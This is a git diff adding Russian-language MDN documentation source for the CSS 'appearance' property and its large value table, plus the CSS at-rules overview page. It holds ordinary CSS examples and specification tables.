+/* Частичный список доступных значений в WebKit/Blink (таких как Gecko и Edge) */
+-webkit-appearance: media-mute-button;
+-webkit-appearance: caret;
+
+ +

Свойство -moz-appearance может быть указано как одно значение, выбранное из списка ниже.

+ +

Значения

+ +

<appearance> является одним из нижеследующих ключевых свойств:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDemoBrowserDescription
none + + {{EmbedLiveSample("sampleNone",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeNo special styling is applied. This is the default.
auto {{Experimental_Inline}} + + {{EmbedLiveSample("sampleAuto",100,50,"","", "nobutton")}}NoneThe user agent selects the appropriate special styling based on the element. Acts as none on elements with no special styling.
attachment {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleAttachment",100,50,"","", "nobutton")}}Safari 
borderless-attachment {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-borderless-attachment",100,50,"","","nobutton")}}Safari 
button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButton",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeThe element is drawn like a button.
button-arrow-down {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonArrowDown",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
button-arrow-next {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonArrowNext",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
button-arrow-previous {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonArrowPrevious",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
button-arrow-up {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonArrowUp",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
button-bevel {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonBevel",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
button-focus {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleButtonFocus",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
caps-lock-indicator {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-caps-lock-indicator",100,50,"","","nobutton")}}Safari Edge 
caret {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleCaret",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
checkbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleCheckbox",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeThe element is drawn like a checkbox, including only the actual "checkbox" portion.
checkbox-container {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleCheckboxContainer",100,50,"","", "nobutton")}}FirefoxThe element is drawn like a container for a checkbox, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a checkbox.
checkbox-label {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleCheckboxLabel",100,50,"","", "nobutton")}}Firefox 
checkmenuitem {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleCheckmenuitem",100,50,"","", "nobutton")}}Firefox 
color-well {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-color-well",100,50,"","","nobutton")}}Safariinput type=color
continuous-capacity-level-indicator {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-continuous-capacity-level-indicator",100,50,"","","nobutton")}}Safari 
default-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-default-button",100,50,"","","nobutton")}}Safari Edge 
discrete-capacity-level-indicator {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-discrete-capacity-level-indicator",100,50,"","","nobutton")}}Safari 
dualbutton {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleDualButton",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
groupbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleGroupbox",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
inner-spin-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleInnerSpinButton",100,50,"","", "nobutton")}}Firefox Chrome Safari 
image-controls-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-image-controls-button",100,50,"","","nobutton")}}Safari 
list-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-list-button",100,50,"","","nobutton")}}Safaridatalist
listbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleListBox",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
listitem {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleListItem",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
media-enter-fullscreen-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaEnterFullscreenButton",100,50,"","", "nobutton")}}Chrome Safari 
media-exit-fullscreen-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaExitFullscreenButton",100,50,"","", "nobutton")}}Chrome Safari 
media-fullscreen-volume-slider {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-fullscreen-volume-slider",100,50,"","","nobutton")}}Safari 
media-fullscreen-volume-slider-thumb {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-fullscreen-volume-slider-thumb",100,50,"","","nobutton")}}Safari 
media-mute-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaMuteButton",100,50,"","", "nobutton")}}Chrome Safari Edge 
media-play-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaPlayButton",100,50,"","", "nobutton")}}Chrome Safari Edge 
media-overlay-play-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaOverlayPlayButton",100,50,"","", "nobutton")}}Chrome Safari 
media-return-to-realtime-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-return-to-realtime-button",100,50,"","","nobutton")}}Safari 
media-rewind-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-rewind-button",100,50,"","","nobutton")}}Safari 
media-seek-back-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-seek-back-button",100,50,"","","nobutton")}}Safari Edge 
media-seek-forward-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-seek-forward-button",100,50,"","","nobutton")}}Safari Edge 
media-toggle-closed-captions-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaToggleClosedCaptionsButton",100,50,"","", "nobutton")}}Chrome Safari 
media-slider {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaSlider",100,50,"","", "nobutton")}}Chrome Safari Edge 
media-sliderthumb {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaSliderThumb",100,50,"","", "nobutton")}}Chrome Safari Edge 
media-volume-slider-container {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaVolumeSliderContainer",100,50,"","", "nobutton")}}Chrome Safari 
media-volume-slider-mute-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-volume-slider-mute-button",100,50,"","","nobutton")}}Safari 
media-volume-slider {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaVolumeSlider",100,50,"","", "nobutton")}}Chrome Safari 
media-volume-sliderthumb {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaVolumeSliderThumb",100,50,"","", "nobutton")}}Chrome Safari 
media-controls-background {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaControlsBackground",100,50,"","", "nobutton")}}Chrome Safari 
media-controls-dark-bar-background {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-controls-dark-bar-background",100,50,"","","nobutton")}}Safari 
media-controls-fullscreen-background {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaControlsFullscreenBackground",100,50,"","", "nobutton")}}Chrome Safari 
media-controls-light-bar-background {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-media-controls-light-bar-background",100,50,"","","nobutton")}}Safari 
media-current-time-display {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaCurrentTimeDisplay",100,50,"","", "nobutton")}}Chrome Safari 
media-time-remaining-display {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMediaTimeRemainingDisplay",100,50,"","", "nobutton")}}Chrome Safari 
menuarrow {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuArrow",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menubar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenubar",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menucheckbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuCheckbox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menuimage {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuImage",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menuitem {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuItem",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64, the element was styled as menu item, item is highlighted when hovered.
menuitemtext {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuItemText",100,50,"","", "nobutton")}}FirefoxRemoved in FF 64
menulist {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuList",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
menulist-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuListButton",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeThe element is styled as a button that would indicate a menulist can be opened.
menulist-text {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuListText",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
menulist-textfield {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuListTextfield",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeThe element is styled as the text field for a menulist. (Not implemented for the Windows platform)
menupopup {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuPopup",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menuradio {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuRadio",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
menuseparator {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMenuSeparator",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
meter + + {{EmbedLiveSample("sampleMeter",100,50,"","", "nobutton")}}Chrome Safari FirefoxNew in Fx 64
meterbar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMeterbar",100,50,"","", "nobutton")}}FirefoxNew in Fx 16. Use meter instead
meterchunk {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleMeterchunk",100,50,"","", "nobutton")}}FirefoxNew in Fx 16. Removed in Firefox 64.
number-input {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleNumberInput",100,50,"","", "nobutton")}}Firefox 
progress-bar + + {{EmbedLiveSample("sampleProgressBarWebkit",100,50,"","", "nobutton")}}Chrome Safari FirefoxNew in Fx 64
progress-bar-value {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleProgressBarValueWebkit",100,50,"","", "nobutton")}}Chrome Safari 
progressbar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleProgressBar",100,50,"","", "nobutton")}}FirefoxThe element is styled like a progress bar. Use progress-bar instead
progressbar-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleProgressBarVertical",100,50,"","", "nobutton")}}Firefox 
progresschunk {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleProgressChunk",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
progresschunk-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleProgressChunkVertical",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
push-button {{Non-standard_Inline}} + + {{EmbedLiveSample("samplePushButton",100,50,"","", "nobutton")}}Chrome Safari Edge 
radio {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRadio",100,50,"","", "nobutton")}}Firefox Chrome Safari EdgeThe element is drawn like a radio button, including only the actual "radio button" portion.
radio-container {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRadioContainer",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64, the element is drawn like a container for a radio button, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a radio button.
radio-label {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRadioLabel",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
radiomenuitem {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRadioMenuItem",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
range {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRange",100,50,"","", "nobutton")}}Firefox 
range-thumb {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleRangeThumb",100,50,"","", "nobutton")}}Firefox 
rating-level-indicator {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-rating-level-indicator",100,50,"","","nobutton")}}Safari 
resizer {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleResizer",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63
resizerpanel {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleResizerPanel",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63.
scale-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleHorizontal",100,50,"","", "nobutton")}}Firefox 
scalethumbend {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleThumbEnd",100,50,"","", "nobutton")}}Firefox 
scalethumb-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleThumbHorizontal",100,50,"","", "nobutton")}}Firefox 
scalethumbstart {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleThumbStart",100,50,"","", "nobutton")}}Firefox 
scalethumbtick {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleThumbTick",100,50,"","", "nobutton")}}Firefox 
scalethumb-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleThumbVertical",100,50,"","", "nobutton")}}Firefox 
scale-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScaleVertical",100,50,"","", "nobutton")}}Firefox 
scrollbarbutton-down {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarButtonDown",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63.
scrollbarbutton-left {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarButtonLeft",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63.
scrollbarbutton-right {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarButtonRight",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63.
scrollbarbutton-up {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarButtonUp",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 63.
scrollbarthumb-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarThumbHorizontal",100,50,"","", "nobutton")}}Firefox 
scrollbarthumb-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarThumbVertical",100,50,"","", "nobutton")}}Firefox 
scrollbartrack-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarTrackHorizontal",100,50,"","", "nobutton")}}Firefox 
scrollbartrack-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleScrollbarTrackVertical",100,50,"","", "nobutton")}}Firefox 
searchfield {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSearchField",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
searchfield-decoration {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-searchfield-decoration",100,50,"","","nobutton")}}Safari Edge 
searchfield-results-decoration {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-searchfield-results-decoration",100,50,"","","nobutton")}}Safari Edge 
searchfield-results-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-searchfield-results-button",100,50,"","","nobutton")}}Safari Edge 
searchfield-cancel-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSearchFieldCancelButton",100,50,"","", "nobutton")}}Chrome Safari Edge 
snapshotted-plugin-overlay {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-snapshotted-plugin-overlay",100,50,"","","nobutton")}}Safari 
separator {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSeparator",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
sheet {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSheet",100,50,"","", "nobutton")}}None 
slider-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSliderHorizontal",100,50,"","", "nobutton")}}Chrome Safari Edge 
slider-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSliderVertical",100,50,"","", "nobutton")}}Chrome Safari Edge 
sliderthumb-horizontal {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSliderThumbHorizontal",100,50,"","", "nobutton")}}Chrome Safari Edge 
sliderthumb-vertical {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSliderThumbVertical",100,50,"","", "nobutton")}}Chrome Safari Edge 
spinner {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSpinner",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
spinner-downbutton {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSpinnerDownbutton",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
spinner-textfield {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSpinnerTextfield",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
spinner-upbutton {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSpinnerUpbutton",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
splitter {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSplitter",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
square-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleSquareButton",100,50,"","", "nobutton")}}Chrome Safari Edge 
statusbar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleStatusBar",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
statusbarpanel {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleStatusBarPanel",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
tab {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTab",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
tabpanel {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTabPanel",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
tabpanels {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTabPanels",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64
tab-scroll-arrow-back {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTabScrollArrowBack",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
tab-scroll-arrow-forward {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTabScrollArrowForward",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
textarea + + {{EmbedLiveSample("sampleTextArea",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
textfield {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTextField",100,50,"","", "nobutton")}}Firefox Chrome Safari Edge 
textfield-multiline {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTextfieldMultiline",100,50,"","", "nobutton")}}FirefoxUse textarea instead
toolbar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleToolbar",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
toolbarbutton {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleToolbarButton",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
toolbarbutton-dropdown {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleToolbarButtonDropdown",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
toolbargripper {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleToolbarGripper",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
toolbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleToolbox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
tooltip {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTooltip",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeheader {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeHeader",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeheadercell {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeHeaderCell",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeheadersortarrow {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeHeaderSortArrow",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeitem {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeItem",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeline {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeLine",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treetwisty {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeTwisty",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treetwistyopen {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeTwistyOpen",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
treeview {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleTreeView",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
relevancy-level-indicator {{Non-standard_Inline}} + + {{EmbedLiveSample("sample-relevancy-level-indicator",100,50,"","","nobutton")}}Safari 
-moz-win-borderless-glass {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("2.0")}} + + {{EmbedLiveSample("sampleWinBorderlessGlass",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This style applies the Aero Glass effect -- but without a border -- to the element.
-moz-win-browsertabbar-toolbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWinBrowsertabbarToolbox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This toolbox style is meant to be used for the tab bar in a browser.
-moz-win-communicationstext {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWinCommunicationstext",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-win-communications-toolbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWinCommunicationsToolbox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This toolbox style is meant to be used in communications and productivity applications. Corresponding foreground color is -moz-win-communicationstext.
-moz-win-exclude-glass {{Non-standard_Inline}}{{Gecko_MinVersion_Inline("6.0")}} + + {{EmbedLiveSample("sampleWinExcludeGlass",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This styles is used to exclude the Aero Glass effect on the element.
-moz-win-glass {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWinGlass",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This style applies the Aero Glass effect to the element.
-moz-win-media-toolbox {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWinMediaToolbox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64. This toolbox style is meant to be used in applications that manage media objects. Corresponding foreground color is -moz-win-mediatext.
-moz-window-button-box {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonBox",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-button-box-maximized {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonBoxMaximized",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-button-close {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonClose",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-button-maximize {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonMaximize",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-button-minimize {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonMinimize",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-button-restore {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowButtonRestore",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-frame-bottom {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowFrameBottom",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-frame-left {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowFrameLeft",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-frame-right {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowFrameRight",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-titlebar {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowTitlebar",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-moz-window-titlebar-maximized {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleWindowTitlebarMaximized",100,50,"","", "nobutton")}}FirefoxRemoved in Firefox 64.
-apple-pay-button {{Non-standard_Inline}} + + {{EmbedLiveSample("sampleApplePayButton",100,50,"","", "nobutton")}}SafariiOS and macOS only. Available on the web starting in iOS 10.1 and macOS 10.12.1
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

Нижеприведенный пример показывает, как сделать элемент, выглядящий как кнопка панели инструментов в Firefox:

+ +
.exampleone {
+  -moz-appearance: toolbarbutton;
+}
+
+ +

Смотрите также this JSFiddle в качестве примера, показывающего как вы можете использвать appearance: none для стилизации радио кнопок и чекбоксов.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName("CSS4 Basic UI", "#appearance-switching", "appearance")}}{{Spec2("CSS4 Basic UI")}}Первое определение.
+ +

{{CSSInfo}}

+ +

Поддержка  браузерами

+ + + +

{{Compat("css.properties.appearance")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/at-rule/index.html b/files/ru/web/css/at-rule/index.html new file mode 100644 index 0000000000..fd71ca762f --- /dev/null +++ b/files/ru/web/css/at-rule/index.html @@ -0,0 +1,76 @@ +--- +title: At-rules +slug: Web/CSS/At-rule +translation_of: Web/CSS/At-rule +--- +
{{cssref}}
+ +

At-rules это CSS операторы, которые показывают CSS как себя вести. Они начинаются со знака at, '@' (U+0040 КОММЕРЧЕСКОЕ AT), сопровождается идентификатором, и включает в себя всё до следующей точки с запятой, ';' (U+003B ТОЧКА С ЗАПЯТОЙ), или до следующего CSS блока, в зависимости от того, что наступит раньше.

+ +
/* Общая структура */
+@ИДЕНТИФИКАТОР (ПРАВИЛО);
+
+/* Пример: говорит браузеру использовать UTF-8 кодировку символов */
+@charset "utf-8";
+ +

Существует несколько at-правил, обозначаемые идентификаторами, каждое из которых имеет свой синтаксис:

+ + + +

Условные групповые правила

+ +

Как и значения свойств, каждое at-правило имеет свой синтаксис. Тем не менее, некоторые из них могут быть сгруппированы в специальную категорию, называемую Условные групповые правила. Эти операторы имеют общий синтаксис, и каждый из них может включать вложенные операторы - либо наборы правил, либо вложенные правила. Кроме того, все они передают общее семантическое значение - все они связывают некоторый тип условия, которое в любой момент оценивается как истинное или ложное. Если условие оценивается как истинное, то будут применяться все операторы в группе. Условные групповые правила описываются в CSS Conditionals Level 3 и в:

+ + + +

Поскольку каждая условная группа может также содержать вложенные операторы, может быть неопределенное количество вложений.

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}Начальное определение
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}Стандартизирует @-webkit-keyframes.
+ +

Читайте также

